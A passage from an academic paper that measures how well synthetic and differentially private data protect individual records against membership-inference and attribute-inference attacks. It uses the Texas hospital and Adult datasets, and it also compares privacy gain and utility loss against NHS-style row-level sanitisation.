population-level and on a per-record basis. This enables us
to demonstrate that synthetic data provides disparate privacy
gain across population subgroups.

4 Does synthetic data mitigate the risk of link-
ability?

A major privacy concern in the context of privacy-preserving
data sharing is the risk of linkability. Linkage attacks aim to
link a target record to a single record, or group of records,
in a sensitive dataset. Linkage enables adversaries to attach
an identity to a supposedly de-identified record [43, 58] or to
simply establish the fact that this particular record is present
in a sensitive dataset [29].

Related work. The risk of linkability has been demonstrated,
in theory and practice, for a large variety of data types: tab-
ular micro-level datasets [43, 58], social graph data [42, 44],
aggregate statistics [51], and statistical models [57]. Linkage
attacks on tabular microdata usually intend to link a target

record (connected to an identity) to a single record in a sensi-
tive database from which direct identifiers have been removed.

Membership inference attacks (MIAs) are linkage attacks
which target the output of statistical computations run on sen-
sitive datasets, such as aggregate statistics [29, 51] or trained
ML models [57]. ML-oriented MIAs have been extensively
studied on predictive models, such as binary or multi-label
classifiers [37, 56, 57, 69]. Recently, this work has been ex-
tended to GANs and VAEs [8, 26, 28].

4.1 Formalizing linkability as membership in-
ference

In a linkage attack, the adversary aims to learn whether a
record is present in a sensitive dataset. Following works by
Yeom et al. [69] and Pyrgelis et al. [51], we hence model the
risk of linkability as a membership privacy game between
an adversary A and a challenger C . The challenger plays the
role of a data holder that publishes a dataset X that is made
available to the adversary. This dataset could either be a raw
dataset R or a sanitised or synthetic version of R, denoted as
S. The goal of the adversary A is to infer whether a target
record rrrt , chosen by the adversary, is present in the sensitive
dataset R based on the published dataset X and some prior
knowledge P .

Fig. 1 presents the linkability game for the case where
S is a synthetic dataset sampled from a generative model
trained on R. Later, we discuss how the challenger’s protocol
changes when the game models sanitisation. First, A picks
a target record rrrt and sends it to C . C draws a raw dataset R
of size n−1 from the distribution defined by the population
R , and a secret bit st ∼ {0,1}. If st = 0, C draws a random
record rrr∗ from the population (excluding the target) and adds
it to the raw dataset. If st = 1, C adds the target rrrt to the
raw dataset. Then, C trains a generative model on the raw
data R, and samples a synthetic dataset S of size m from the
trained model. C picks at random whether to send back to the
adversary the raw data R or the synthetic data S. A receives
the dataset and makes a guess about the target’s presence in R,
ŝt ← AL (X ,b,rrrt ,P ). The adversary wins the game if ŝt = st .

As in Yeom et al. [69], we assume an equal prior over the
target’s membership in R and define the linkage adversary’s
advantage as:

AdvL (X ,rrrt), 2P
[
AL (X ,b,rrrt ,P ) = st

]
−1 (2)

= P [ŝt = 1|st = 1]−P [ŝt = 1|st = 0] (3)

where X can be a raw R or synthetic S dataset. The prob-
ability space of AdvL is defined by the random choices of
R∼DR and st ∼ {0,1} and the randomness of the synthetic
data generation mechanism and the adversary’s guess.
Adversarial strategy. The adversary’s guess function AL(·)
takes as input a target record rrrt , the information published by
the challenger, X and b, and some prior information P and
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A(P ) C (R )

# Pick Target

1 : rrrt ∈ R
2 : rrrt

# Sample raw data

3 : R∼Dn−1
R

# Draw secret bit

4 : st ∼ {0,1}
5 : If st = 0 :

# Add a random record

6 : rrr∗ ∼DR \rrrt

7 : R← R∪ rrr∗
8 : If st = 1 :

# Add target

9 : R← R∪ rrrt

# Train model

10 : g(R)∼ GM(R)

# Sample synthetic

11 : S∼Dm
g(R)

# Draw public bit

12 : b∼ {0,1}
13 : if b = 0 : X ← R

14 : else : X ← S

15 : X ,b

# Make a guess

16 : ŝt ← AL (X ,b,rrrt ,P )

Figure 1: Linkability privacy game.

outputs a guess about the target’s presence in R. The adver-
sary’s strategy to make a guess changes depending on the data
published.
If C publishes X = R, the adversary simply checks whether
rrrt ∈ R and has a probability of 1 to win the game
(AdvL(R,rrrt) = 1).
If X = S, the adversary performs a binary classification task
on a set of features extracted from the synthetic data S. We ex-
plain how we implement this binary classifier in Section 4.2.
Privacy gain. For each target chosen by the adversary, we
instantiate the game multiple times and measure the adver-
sary’s advantage conditioned on the challenger’s choice of
X . Under our definition of privacy gain in Eq. 1 and with
AdvL(R,rrrt) = 1, the privacy gain of publishing a synthetic
dataset S in place of the raw data with respect to the risk of
linkability is given as:

PG = 1−AdvL(S,rrrt) (4)

A privacy gain of PG= 0 indicates that the adversary infers
the target’s presence in R with perfect accuracy regardless of
whether given access to the raw or synthetic data. If on the

other hand, observing the synthetic data S gives the adversary
no advantage in inferring the target’s presence (AdvL(S,rrrt) =
0), then PG = 1.

4.2 A black-box membership inference attack
We implement the adversary’s strategy as a generic black-box
MIA that is independent of the generative model architecture.
Related work. Existing MIAs on generative models focus
almost exclusively on non-parametric deep learning models
for synthetic image generation [8, 26, 28, 41]. These works
mostly investigate the privacy risks of either model-specific
white-box attacks or set membership attacks that assume the
adversary has access to the entire universe of training records
and come to the conclusion that black-box MIAs that target
specific records perform only slightly better than random
baseline guessing [26, 28]. Unfortunately, previous attacks
do not provide a good basis to evaluate the privacy gain of
synthetic data publishing. Non-parametric models for non-
tabular data cover only a very small set of use cases [15, 46,
72, 74], white-box attacks do not adequately reflect the data
sharing scenario, and set inference attacks are not suitable to
assess individual-level privacy gain.
Shadow model attack. In order to win the linkability game
(see Fig. 1) when she receives a synthetic dataset S, the ad-
versary needs a distinguishing function AL(·) that enables
her to infer the membership of rrrt in the raw data R used to
train the generative model that output S. As in many previous
works, we cast membership inference as a supervised learn-
ing problem and instantiate the adversary’s guess function
with a machine learning classifier trained on data produced
by generative shadow models [51, 57].

As Shokri et al. [57], we assume that, as part of her prior
knowledge P , the adversary has access to the training algo-
rithm GM(·), the size of the raw and synthetic datasets n and m,
and to a reference dataset RA ∼D l

R that comes from the same
distribution as the target model’s training data R∼Dn

R and
may or may not overlap with R. Given this prior knowledge
P and a target record rrrt , the adversary uses the following
procedure to learn AL : First, the adversary samples multiple
training sets Ri of size n from the reference dataset RA . On
each set Ri, the adversary trains a generative model g(Ri) us-
ing the training procedure GM(Ri). From each of the trained
models, the adversary samples multiple synthetic datasets S
of size m and assigns them the label st = 0. The adversary
repeats the same procedure on the same training sets, this time
including the target, R′i = Ri∪ rrrt , and assigns the generated
synthetic datasets the label st = 1. Finally, the adversary trains
a classifier AL on the labelled datasets. The trained classifier
takes as input a synthetic dataset S and outputs a guess ŝt
about the target’s presence in R: ŝt ← AL (S,rrrt ,P ).
Feature extraction. Existing MIAs on predictive models
leverage patterns in the confidence values output by a trained
model that differ between two classes, members and non-
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members [57]. Mounting a successful black-box MIA on a
generative model is much more challenging [26]. The attacker
needs to identify the influence that a single target record has
on the high-dimensional data distribution Dg(R) as opposed
to a low-dimensional confidence vector. Moreover, the output
sampling process introduces additional uncertainty and the
adversary only has access to a single output example.

In other words, the adversary needs to be able to distin-
guish between two distributions, Dg(R∪rrr∗) and Dg(R∪rrrt ), given
a single observation S∼Dm

g(X). To reduce the effect of high-
dimensionality and sampling uncertainty, the adversary can
apply feature extraction techniques. Instead of training a clas-
sifier directly on S, the adversary learns to distinguish feature
vectors extracted from synthetic datasets produced by models
trained with and without the target, respectively. A feature set
can be described as a function f (X) = fff that takes as input
a set of records X from the high-dimensional data domain
and outputs a numerical vector fff that maps X into a lower-
dimensional feature space. Whether the attack using feature
set fff is successful depends on two factors: First, whether
the target’s presence has a detectable impact on any of the
features in fff , and second, whether the synthetic dataset has
preserved these features from the raw data and hence pre-
served the target’s signal.

Implementation. We implement the distinguisher function
AL as an instantiation of our framework’s PrivacyAttack
class (see Appendix 8.1). We leverage the object-oriented
structure of the library to create multiple attack versions that
share the same training procedure but use different attack
models and feature extraction techniques. As feature extrac-
tors, we implemented a naive feature set with simple sum-
mary statistics FNaive, a histogram feature set that contains
the marginal frequency counts of each data attribute FHist,
and a correlations feature set that encodes pairwise attribute
correlations FCorr (see Appendix 8.1).

As attack models, we implemented a Logistic Regression,
Random Forests and K-Nearest Neighbours classifier. All
attack models yielded similar results with a Random Forests
classifier with 100 estimators using the Gini impurity splitting
criterion performing best across datasets, generative models,
and feature sets. In the remainder of the paper we focus on
results obtained using this classifier.

4.3 Empirical evaluation
We first evaluated the expected privacy gain with respect to the
risk of linkability under the three generative models trained
without any formal privacy (see Section 2.1) on two com-
mon benchmark datasets: Adult and Texas. Both are tabular
datasets that contain a mix of numerical and categorical at-
tributes. A detailed description of their characteristics can be
found in Appendix 8.2.

Experiment procedure. We aim to assess whether synthetic
data produced by a wide range of generative model types does,
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Figure 2: Expected per-record privacy gain for outliers and
random records for the Texas (top row) and Adult (bottom
row) datasets under three different attacks using three distinct
feature sets. Error bars represent the standard deviation.

as claimed, provide robust protection against linkage attacks.
If synthetic data is a “valid, privacy-conscious alternative to
raw data” [5], then its privacy gain should be close to PG = 1
for all target records regardless of the attacker’s strategy. We
evaluate two groups of targets: five records randomly chosen
from the population and five manually chosen outlier records
representative of population minorities and most likely to be
vulnerable to linkage attacks [43]. As outliers, we selected
records that either have rare categorical attribute values or
numerical values outside the attribute’s 95% quantile. For
instance, in the Texas dataset we show the privacy gain for
two records that have high total charges and one record with
high total non-covered charges outside the attribute’s 95%
quantile, and two records with an unusually high risk mortality
and illness severity. For the Adult dataset we followed the
same procedure to select outlier records.

At the beginning of each experiment, we sample a fixed
reference dataset RA of size l from the population and use it to
train the adversary’s distinguisher. For each target record, we
train multiple attack models using the shadow model training
procedure described in Section 4.2. To assess privacy gain,
we repeatedly instantiate the linkability game described in
Fig. 1 for each of our ten targets.

Disparate gain. Fig. 2 shows the average privacy gain across
multiple instantiations of the linkability game for five outlier
targets and five randomly chosen targets for the Texas (top
row) and Adult (bottom row) datasets, respectively. Each
dataset, raw and synthetic, contained n = m = 1000 records.
The adversary was trained on a reference dataset of l =
10,000 records using 10 shadow models.

We find that in both datasets privacy gain is unevenly dis-
tributed across target records. While the control group of
randomly chosen target records ( ) achieves close to perfect
protection (PG≈ 1), other records ( ) remain highly vulnera-
ble to our linkage attack. The privacy gain for the majority of
outlier targets is substantially smaller than PG= 1 (ideal case).
For instance, under an attack using the naive feature set FNaive
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4 out of the 5 selected targets in the Texas dataset achieve
an average gain smaller than 0.8 across all three generative
models. More worryingly, 1 out of the 5 targets tested ( ) con-
sistently receives a privacy gain close to 0 (PG < 0.005) from
synthetic data produced a by CTGAN-trained model. These re-
sults indicate that, contrary to claims by previous works [26],
publishing the synthetic in place of the raw data does not
protect outlier targets from linkage attacks.

Unpredictable gain. Which records remain at risk varies
across generative model type and the adversary’s feature set.
In the Texas dataset, an attack using the FNaive feature set
on CTGAN-produced synthetic data results in a privacy gain
below PG < 0.3 for 3 out of the 5 outlier targets ( , , ). The
same attack on the same targets is less effective on synthetic
data produced by IndHist-trained models. The same group
of targets reaches a maximum gain of PG = 0.77. Attacks on
the Adult dataset are most successful under the correlations
feature set FCorr. Here, IndHist-trained models provide a
minimum gain of PG = 0.64 ( ) under FNaive. The minimum
gain provided by the same model drops below PG < 0.32
if the attacker uses FCorr as input to the attack and leaves a
different target ( ) most vulnerable.

Conclusions. These results are extremely problematic from
the point of view of a data holder seeking to use synthetic
data generation as a privacy mechanism. Ideally, data hold-
ers should be able to predict, given a fixed dataset R and a
generative model training algorithm GM(·), the minimum gain
in privacy they can achieve. Our experiment shows, however,
that this is next to impossible: The level of protection a gener-
ative model provides depends on how much information the
model’s output leaks about the features targeted by the attack.
This means that we can only predict privacy gain if we can
(1) predict what features a potential adversary will target and
(2) whether the synthetic data has preserved these features
from the raw data. In practice, neither of these factors is pre-
dictable. First, like traditional linkage attacks on microdata
releases, a strategic adversary might use any set of features
that are likely to be influenced by the target’s presence [43].
Second, which characteristics a synthetic dataset might pre-
serve is not constrained to the features explicitly represented
by the model. For instance, even the simplest statistical model
IndHist might unexpectedly preserve features targeted by
the attack: Synthetic data produced through independent at-
tribute sampling by an IndHist-model trained on the Adult
dataset leaves some target records vulnerable to linkage at-
tacks using the correlations feature set FCorr. Non-parametric
models, such as CTGAN, do not even provide a parametric spec-
ification for the data’s density function. This makes it even
harder to predict what set of features the model will preserve
and an attack might target.

Previous assessments of the privacy risks of synthetic
data publishing based on aggregate population measurements
severely underestimate the risk of linkage attacks [22, 26, 28].

Our experimental evaluation reveals that synthetic data does
not provide uniform protection against strategic adversaries,
and some outliers remain highly vulnerable.

5 Does differentially private synthetic data
mitigate the risk of linkability?

In the previous section, we demonstrate that non-private data
synthesis algorithms are largely unsuitable as privacy mech-
anisms. This is not an unexpected finding as none of the
evaluated models were originally designed as anonymisation
mechanisms. In this section, we thus extend our analysis to
two model training algorithms explicitly designed to protect
the privacy of a model’s training set, PrivBay and PATEGAN.
We evaluate to which extent their formal privacy guarantees
improve the privacy gain of synthetic data publishing with
respect to the risk of linkability.

Differentially private generative models. Model training
algorithms based on the differential privacy model protect
the privacy of the training data through formal guarantees for
the lower-dimensional approximation of the full-dimensional
data distribution [6,22,32,71]. Synthetic datasets drawn from
differentially private models preserve these privacy guaran-
tees under the post-processing guarantee [17].

The model training algorithm PrivBay learns a differen-
tially private Bayesian network that approximates the relation-
ship between data attributes via the exponential mechanism
and computes the conditionally independent marginals in the
subspaces of the Bayesian network via the Laplace Mecha-
nism [71]. PATEGAN, a differentially private GAN, ensures
that the discriminator’s decisions are not affected by the pres-
ence of a single record in the model’s training set by more
than the defined ε-bound [32].

5.1 Empirical evaluation

We used the experimental procedure described in Section 4.3
to evaluate the privacy gain of PrivBay and PATEGAN. We
integrated the implementations of these algorithms provided
by Ping et al. [12] and Jordon et al. [70] into our framework
and ran the linkability game defined in Fig. 1.

Differential privacy violations. Fig. 3 left shows the results
of this experiment for the Texas (top row) and Adult (bottom
row) datasets under an attack using the histogram feature set
FHist – the overall most effective attack. Both differentially
private models were trained with privacy parameter ε = 0.1.
Surprisingly, we find that neither the original implementation
of PrivBay nor PATEGAN reliably prevents linkage attacks.
Two out of the five outliers in the Texas dataset achieve close
to no gain ( and with PG < 0.1). This low gain violates
the theoretical lower bound on privacy provided by Yeom
et al. [69] (shown as a dashed line in Fig. 3). The bound
given by Yeom et al. [69] limits the expected advantage of the
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Figure 3: Per-record privacy gain for five outlier targets
records from the Texas (top row) and Adult (bottom row)
datasets under an attack using the FHist feature set.

membership inference adversary to AdvL ≤ eε − 1 which
implies PG≥ 0.89 for ε = 0.1.

Unexpected leakage. To understand these findings, we con-
ducted an in-depth analysis of the design and implementation
of both algorithms. Alongside some minor bugs, our anal-
ysis revealed that, while both models on paper fulfil their
formal privacy definitions, their available implementations
did not. Both PrivBay and PATEGAN require metadata about a
model’s training set to operate. For instance, data holders need
to specify upfront the range of numerical attributes and the
possible values of categorical attributes. To improve usabil-
ity, the existing implementations of PrivBay and PATEGAN

learn this metadata directly from the input dataset. This pro-
cess, in which algorithmic decisions are based on the raw
data, violates important assumptions of the differential privacy
model [18]. This discovery explained our previous results:
Both models extracted crucial information from their input
data in a process not covered by the formal privacy guarantee.
As a result, targets with rare categorical attributes or whose
presence affects the ranges of numerical attributes remained
highly vulnerable to our attack. Their presence in a model’s
training set became detectable due to the occurrence of new
categories or a shift in the ranges of continuous attributes in
synthetic datasets sampled from the trained model.

To avoid this leakage, we patched the PrivBay and
PATEGAN implementations so that both models obtain meta-
data as an independent input to their training process. In our
experiments with the Texas dataset, we used the publicly
available data description to define possible categorical val-
ues and a disjoint subset of the data (population records from
a different year) to obtain an estimate of the expected ranges
of numerical attributes. For the Adult dataset, where no com-
parable metadata is available, we used the dataset to estimate
categories and ranges and generalised each range to hide the
exact value of outlier targets.

Fig. 3 right shows the results of our evaluation under the
patched implementations. For most outliers, privacy gain is
now bounded by its differential privacy guarantee. For those
targets where the expected gain remains below its bound,

the remaining gap can likely be explained either by other
aspects of the model’s implementation that violate theoretical
assumptions and we were not able to find in our analysis, or
due to correlations between the datasets used to derive the
necessary metadata and the model’s training set. Further work
is needed to fully understand this problem.

Conclusions. Differentially private generative models can
provide a significantly higher privacy gain with respect to
linkage attacks than traditional data synthesis algorithms. To
achieve the desired protection it is necessary that, besides a
theoretically sound design, the models’ implementation and
operational environment does not break any of the privacy def-
inition’s theoretical assumptions. Our evaluation confirms that
otherwise there is no guarantee that outliers will be protected
from linkage attacks.

While in our experimental setup we were (mostly) able
to avoid undesired privacy leakage through metadata, it is
unlikely that in practice data holders will be able to follow
our example. Data holders likely do not have access to either
a disjoint subset or a public dataset from the same distribution
that would allow them to define metadata that fits the raw
data they would like to share. Synthetic data sharing is often
motivated by the unique value of sensitive dataset that are
limited in size. This implies that, in practice, data holders
might struggle to achieve the desired strict privacy guarantees,
or face a large utility loss when either using public data or
splitting the available data to derive the necessary metadata.
In Section 6.3, we empirically demonstrate this tradeoff.

6 Does synthetic data improve the privacy-
utility tradeoff of sanitisation?

Synthetic data is often presented as “a new, better alternative
to sanitised data release” [5]. Our results in previous sec-
tions confirm Bellovin et al.’s hypothesis that data synthesis
algorithms without any formal privacy guarantees leave out-
liers vulnerable to linkage attacks [5]. Differentially private
generative models, although hard to implement, reduce these
risks. We now investigate whether “synthetic data may be
combined with differential privacy to achieve a best-of-both-
worlds [privacy and utility] scenario.” [5]. In other words,
whether synthetic data can achieve a higher gain in privacy at
a lower cost in utility compared to traditional sanitisation.

In this section, we assess the privacy-utility tradeoff of syn-
thetic data publishing and compare it to that of traditional
sanitisation. For our comparison, we implement a sanitisa-
tion procedure described by NHS England [46] and assess its
privacy gain with respect to the risk of linkability (see Sec-
tion 4.1) and the risk of inference formalised in Section 6.2.

NHS Sanitisation procedure. A sanitisation procedure S←
San(R) is a deterministic function that applies a set of pre-
defined row-level transformations to the input data R to pro-
duce a sanitised dataset S that fulfils a heuristic privacy defi-
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nition [58]. Common transformations are generalisation, per-
turbation, or deletion of single rows [3]. Following the de-
tails given in [46], we implemented a simple sanitisation
procedure San that reduces the granularity of categorical at-
tributes through grouping, generalises any granular timing or
geographical information, removes any rows with rare cate-
gorical values, caps numerical values to the attribute’s 95%
quantile, and enforces k-anonymity for a pre-defined set of
demographic attributes.

6.1 Privacy gain with respect to linkability

To compare the privacy gain of sanitised and synthetic data
publishing, we repeat the experimental procedure from Sec-
tion 4.3. We adapt the game so that the challenger C , instead
of generating a synthetic dataset S from a trained model g(R)
(lines 10 to 11 in Fig. 1), produces a sanitised version of
R through a pre-defined sanitisation procedure S← San(R).
When the adversary receives a sanitised dataset (b = 1), she
first attempts literal record linkage. Only if the adversary can
not uniquely identify a record that matches the target, she
attempts classification. As in previous sections, we first train
the adversary on a reference dataset RA and then instantiate
the game multiple times for each of the selected targets.

Fig. 4 compares the results of this experiment for the five
outlier targets from the Texas dataset for three different data
sharing mechanisms: traditional sanitisation San with k =
10, synthetic data produced by BayNet-trained models, and
differentially private synthetic data sampled from PrivBay

models with varying ε values. The same experiment on the
Adult dataset yields similar results.

As expected, the privacy gain of row-level sanitisation tends
to be binary: Target records that are likely to be removed from
the shared dataset receive close to perfect gain ( and with
PG≥ 0.8 under all three feature sets). Others remain highly
vulnerable to linkage attacks and receive a substantially lower
gain ( , , with PG≤ 0.3 for at least one attack).
BayNet improves the privacy gain for the latter group: The

three targets that under sanitisation receive close to no pro-
tection from linkage attacks using the naive feature set FNaive
obtain a higher minimum gain ( , , with PG≥ 0.48). Dif-
ferentially private model training further improves protection
and minimum gain increases as ε decreases (PG = 0.77 for
target under ε = 10 and PG = 0.97 under ε = 1.0). This in-
dicates that synthetic data produced by either model (BayNet
and PrivBay) hides changes in the raw data features caused
by the target’s presence and prevents the adversary from in-
ferring the target’s secret. This gain in privacy, however, is
not constant across the population. One out of the five targets
actually loses protection from linkage attacks when sharing a
synthetic instead of the sanitised dataset ( with PG = 0.62
for BayNet and PG = 0.91 for PrivBay with ε = 10 instead
of PG = 1.0 for San under FCorr).

This variability in privacy gain highlights one of the major
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Figure 4: Per-record privacy gain for five outlier target records
from the Texas dataset under three different attacks using
three distinct feature sets.

drawbacks of synthetic data sharing as a privacy mechanism:
unpredictability. Due to the deterministic nature of row-level
sanitisation, the privacy gain of traditional anonymisation
is largely predictable. The high gain in privacy for and
under San is constant across all three feature sets. In contrast,
the privacy gain under BayNet and PrivBay is much more
variable. Before model fitting and an empirical analysis, it is
not possible to predict whether an individual record’s signal
will be preserved and what will be its minimum privacy gain.

6.2 Privacy gain with respect to attribute in-
ference

The risk of linkability is not the only concern in the con-
text of privacy-preserving data sharing (see Section 3). Data
anonymisation also aims to protect individuals in the raw data
from inference attacks. The risk of inference describes the
concern that an adversary might “deduce, with significant
probability, the value of an attribute from the values of a set
of other attributes” [3].

6.2.1 Formalising attribute inference

To evaluate privacy gain with respect to attribute inference,
we define a privacy game similar to the attribute inference
experiment proposed by Yeom et al. [69].

In the attribute inference game, shown in Fig. 5, the
adversary only has access to a partial target record r̃rrt =
(r1, · · · ,rk−1) and aims to infer the value of a sensitive, un-
known attribute rs. At the start of the game, the adversary
picks a target from the population R̃ , a set of records from the
same domain as R but with the sensitive attribute removed.
The challenger receives the partial target record and assigns
it a secret value rs← φ(r̃rrt) where φ represents the projection
of a partial record from R̃ into the domain of the sensitive
attribute according to the distribution DR . C then follows
the same procedure as in the linkability game. The adversary
obtains the dataset X and the public bit b and outputs a guess
about the target’s sensitive attribute value r̂s. This game can
be easily adapted for sanitisation by replacing lines 12 and
13 to produce a sanitised version of R through a pre-defined
sanitisation procedure, S← San(R).

Similar to Eq. 2, we define the adversary’s advantage to
assess the leakage of publishing dataset X with respect to
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A(P ) C (R )

# Pick Target

1 : r̃rrt ∈ R̃
2 : r̃rrt

# Assign sensitive

3 : rs← φ(r̃rrt)

4 : rrrt ← (r̃rrt ,rs)

# Sample raw data

5 : R∼Dn−1
R

# Draw secret bit

6 : st ∼ {0,1}
7 : If st = 0 :

# Add random record

8 : rrr∗ ∼DR \rrrt

9 : R← R∪ rrr∗
10 : If st = 1 :

# Add target

11 : R← R∪ rrrt

# Train model

12 : g(R)∼ GM(R)

# Sample synthetic

13 : S∼Dm
g(R)

# Draw public bit

14 : b∼ {0,1}
15 : if b = 0 : X ← R

16 : elif b = 1 : X ← S
17 : X ,b

# Make a guess

18 : r̂s← AI (X ,b, r̃rrt ,P )

Figure 5: Attribute inference privacy game

attribute inference as:

AdvI (X , r̃rrt), P [r̂s = rs|st = 1]−P [r̂s = rs|st = 0] (5)

where r̂s = AI (X ,b, r̃rrt ,P ) is the adversary’s guess about
the target’s sensitive attribute rs given dataset X and prior
knowledge P .
Adversarial strategy. The procedure to estimate AdvI and
the adversary’s strategy to make a guess about the target’s sen-
sitive value depends on the domain of the sensitive attribute
rs, the value of the public bit b and whether S is a synthetic
or sanitised dataset. When C publishes a raw or sanitised
dataset, the adversary first attempts to infer the missing value
via record linkage [16, 39, 52]. If the adversary can link the
target to a unique record in the dataset X based on its known
attributes, she can reconstruct the target’s missing value with
probability P

[
AI (X ,b, r̃rrt ,P ) = rs|st = 1

]
= 1.

When linkage fails, i.e., C publishes a raw dataset without
the target, a sanitised dataset that hides the target’s presence
or a synthetic dataset, the adversary uses the published data to
train a supervised ML model to predict the target’s sensitive

value based on the known attributes r̃rrt . To learn a mapping
from known to sensitive attributes, the adversary splits the
dataset X into two parts: A feature matrix X̃ that contains the
values for all attributes known to the adversary and a vector xxxs
with the corresponding sensitive attribute values. Depending
on the domain of xxxs, the adversary can either train a regression
or classification model using X̃ as input features and xs as
labels. The trained attack model, denoted as h(·), takes as
input a partial record containing the set of known attributes
and outputs a guess about the label x̂s← h(x̃).

Implementation. We implement the adversary AI as an in-
stantiation of our framework’s PrivacyAttack class (see
Appendix 8.1). For continuous sensitive attributes with rs ∈R,
we implement the attack h(·) using a simple linear regression
model provided by the sklearn library [49]. We centre all
features extracted from the input data and fit a linear model
without intercept. The model fits linear coefficients that min-
imise the root mean squared error between the observed and
predicted target values. We analytically calculate the adver-
sary’s probability of success P [r̂s = rs|st ] as the likelihood
of the true value under the learned linear coefficients (see
Appendix 8.3 for details). For categorical attributes, we use a
simple Random Forests classifier as attack model and estimate
the attack’s success via its classification accuracy.

Empirical evaluation. Fig. 6 shows the privacy gain of the
three data release mechanisms, sanitisation via San and syn-
thetic data produced by BayNet and PrivBay-models with
varying ε values, for the five outlier targets from the Texas
dataset for two distinct sensitive attributes. We chose one con-
tinuous (LengthOfStay) and one categorical attribute (Race)
that might be considered sensitive patient information.

For the continuous attribute LengthOfStay, synthetic data
produced by either BayNet or PrivBay provides close to per-
fect gain for all five targets while row-level sanitisation via
San marginally reduces the adversary’s advantage for three
out of the five targets ( , , with PG≤ 0.2). This implies
that, in contrast to the sanitised datasets, synthetic data does
not preserve the targets’ signal. Even when the generative
model’s training set includes the target record, synthetic data
sampled from the trained model does not contain any patterns
that allow the adversary to infer the target’s sensitive value
and hence AdvI (S,rrrt)�AdvI (R,rrrt). When the attack targets
the categorical attribute Race, the privacy gain of synthetic
data publishing does not significantly increase over that of
sanitised data publishing. Even differentially private gener-
ative model training with ε = 0.1 does not guarantee a high
privacy gain.

To explain this low gain, we plot in Fig. 7 for the target
marked as the adversary’s probability of success on dataset
X when the target is in the dataset ( st = 1), when it is
not ( st = 0), and the resulting adversary’s advantage (
AdvI ). The figure shows that the low privacy gain observed
in Fig. 6 results from the fact that the adversary’s advantage
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Figure 6: Per-record privacy gain for five outlier target records
from the Texas dataset for two distinct sensitive attributes.
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Figure 7: Probability of success and advantage for an at-
tribute inference attack on attribute Race on the Texas dataset.

P [r̂s = rs|st = 0], P [r̂s = rs|st = 1], and AdvI . Data
shown for PrivBay with ε = 1.

is already small when the adversary receives the raw data R.
Thus, publishing a sanitised or synthetic data instead of the
raw data does not lead to any substantial gain in privacy for
this target.

Conclusions. Depending on the attribute targeted by the at-
tack, the privacy gain of synthetic and sanitised data publish-
ing varies substantially. A low gain in privacy either indicates
that the anonymised data still contains enough information
specific to the target record to give the adversary a significant
advantage or it implies that already publishing the raw data
did not incur a significant privacy loss. Where necessary, our
framework allows data holders to make a distinction between
those two cases based on the reported privacy loss. In both
cases, however, a low gain signals that publishing the syn-
thetic or sanitised data does not provide any improvement
over publishing the raw data R. We also observe that there are
records for which privacy gain is high: the dataset published
in place of the raw data successfully hides information about
these records. While this might be good news for privacy, it
comes, as we show in the next sections, at a cost in utility.

6.3 Utility loss comparison

The promise of synthetic data is that its improvement in pri-
vacy gain over traditional sanitisation comes at a negligible
cost in utility. In this section, we empirically evaluate the
utility loss of synthetic data sharing and compare it to that of
row-level sanitisation.

Utility metrics. Besides its potential privacy benefits, sharing
a synthetic in-place of the original dataset incurs certain risks,
such as the risk of false conclusions [2] or the risk of exacer-
bating existing biases in the data [9]. The goal of our utility

evaluation is to assess to which extent the privacy gain of
synthetic data observed in previous sections (see Section 6.1
and 6.2) increases these risks and reduces data utility.

The concepts of utility and utility loss are highly depen-
dent on the data use case and different utility metrics might
yield vastly different results [55, 66]. Therefore, in practice
data holders should conduct their own evaluation based on
appropriate utility definitions when weighing off the risks and
benefits of (anonymised) data sharing.

In this work, we chose a set of simple utility function that
aim to cover a wide range of synthetic data use cases sug-
gested in the literature and reported to us by practitioners.
First, we evaluate in Section 6.3.1 the utility of synthetic data
for use cases that rely on aggregate population metrics, such
as reporting of summary statistics or training machine learn-
ing models [55, 73]. Second, in Section 6.3.2, we turn to one
of the main selling points brought forward by proponents
of synthetic data as a privacy technology: That it enables
the analysis of more fine-grained statistical patterns than ag-
gregate query release mechanisms, including the analysis of
outliers. Financial fraud and medical anomaly detection are
two of the most commonly suggested synthetic data use cases
largely based on the analysis of outliers [40, 63].

The latter class of use cases further motivates us to focus on
the privacy gain and utility loss of outlier records. A simple
way to improve privacy gain for these most vulnerable records
would be to remove them from the dataset, as the high privacy
gain for targets and under San in Fig. 4 demonstrates.
Directly removing vulnerable records from the raw data in-
creases privacy gain but severely impacts the data’s utility,
e.g. in healthcare “this can sometimes mean missing out on
important data that could be used to help future patients” [63].
For this reason, we assess in Section 6.3.2 whether synthetic
data leads to a high privacy gain for outlier records while
preserving their utility benefits for similar records.

6.3.1 Average utility loss

Machine learning utility. We first measure the utility loss of
publishing a synthetic or sanitised dataset S in place of the raw
data R as the decrease in average prediction accuracy over
a hold out set for a prediction model trained on S instead of
R. Due to the limited size of the Adult dataset, we focus our
evaluation on the Texas dataset. We created a pre-processed
dataset that contained all publicly available inpatient records
for the years of 2013 and 2014. We denote records from 2013
as the train population RTrain, and records from 2014 as the
test set RTest . In each experiment, we sample a raw dataset of
size n from RTrain and use it as training set for a prediction
model hR(·)∼ PM(RTrain). We then train a generative model
g(RTrain) on the same raw dataset and sample multiple copies
of synthetic data Si from this generative model. We use these
synthetic datasets to train classifiers hS(·). We follow an anal-
ogous procedure for sanitisation, where we sanitise RTrain
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Figure 8: Test accuracy of prediction models for attribute
RiskMortality in the Texas dataset for three dataset sizes
( n = 1000, n = 2000 and n = 5000). The grey dotted
line shows the random guess baseline.

according to the NHS sanitisation procedure before training
the classifier. Finally, we evaluate the accuracy of each of the
trained classifiers hX (·) on a test set sampled from RTest .

Fig. 8 shows the results of this experiment for a multi-
classification task on attribute RiskMortality with 5 classes
for three different training set sizes ( n = 1000, n = 2000,
and n = 5000). Fig. 15 in the Appendix 8.4 shows the
corresponding privacy gain for various dataset sizes. The
random baseline guess rate is indicated with a dotted grey
line. With n = 1000, classifiers trained on the raw data
hR(·) achieve an average test accuracy of 72.2% which is
comparable to models trained on the sanitised dataset with
70.5%. Using a synthetic version of the data as training set
leads to a significant utility loss: The classifier’s average
test accuracy drops to 68.0% when trained on synthetic data
produced by BayNet. Differentially private model training
further widens this gap. Even with privacy parameter values
as high as ε = 10 the classifier’s mean accuracy with 62.0%
remains 10 points below that of a model trained on the raw
data. Increasing the model’s training set size has a slight effect
on utility. While classifiers trained on the raw data achieve an
average accuracy of 74.2% for n = 5000, average accuracy
under synthetic data produced by BayNet and PrivBay with
ε = 10.0 increases to 68.9% and 68.4%, respectively.

Summary statistics. We use the discrepancy of the mean
(Fig. 9 left) and median (right) of three continuous attributes
between raw, sanitised, and synthetic datasets as additional
utility loss measures. These simple summary statistics are
common metrics used for reporting. While data sanitisa-
